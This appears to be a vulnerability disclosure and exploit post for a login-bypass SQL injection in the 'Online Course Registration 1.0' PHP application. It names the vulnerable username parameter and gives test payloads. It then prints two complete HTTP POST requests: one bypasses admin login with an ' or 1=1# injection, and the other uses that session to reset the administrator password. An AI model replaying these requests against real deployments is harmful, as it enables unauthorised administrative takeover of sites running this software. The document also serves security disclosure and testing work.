2023 Online Course Registration 1.0 SQL Injection

## Title: 2023-Online-Course-Registration-1.0-Bypass-login-SQLi-RCE-password-changing## Author: nu11secur1ty## Date: 05.25.2023## Vendor: https://github.com/nikhilkeshava## Software: https://github.com/nikhilkeshava/online-course-registration-## Reference: https://portswigger.net/web-security/sql-injection,https://portswigger.net/web-security/sql-injection/lab-login-bypass## Description:The `username` parameter appears to be vulnerable to SQL injectionattacks. The payloads 77834251' or 6127=6127-- and 98762777' or4535=4542-- were each submitted in the username parameter. These tworequests resulted in different responses, indicating that the input isunsafely incorporated into a SQL query. The attacker can use thisbypass login vulnerability to send a remote POST request to set a newadministrator password for himself, which is absolutely nasty.STATUS: HIGH Vulnerability[+]Payload:```POSTPOST /online-course-registration/admin/index.php HTTP/1.1Host: pwnedhost.comCookie: PHPSESSID=38468sipptm9j24j9e8svavpgnContent-Length: 62Cache-Control: max-age=0Sec-Ch-Ua: "Chromium";v="113", "Not-A.Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1Origin: https://pwnedhost.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://pwnedhost.com/online-course-registration/admin/index.phpAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Connection: closeusername=nu11secur1ty%27+or+1%3D1%23&password=password&submit=```[+]Exploit:```POSTPOST /online-course-registration/admin/change-password.php HTTP/1.1Host: pwnedhost.comCookie: PHPSESSID=38468sipptm9j24j9e8svavpgnContent-Length: 58Cache-Control: max-age=0Sec-Ch-Ua: "Chromium";v="113", "Not-A.Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1Origin: https://pwnedhost.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://pwnedhost.com/online-course-registration/admin/change-password.phpAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Connection: closecpass=password&newpass=password5&cnfpass=password5&submit=```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/nikhilkeshava/2023-Online-Course-Registration-1.0)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2023/05/2023-online-course-registration-10.html)## Time spend:01:15:00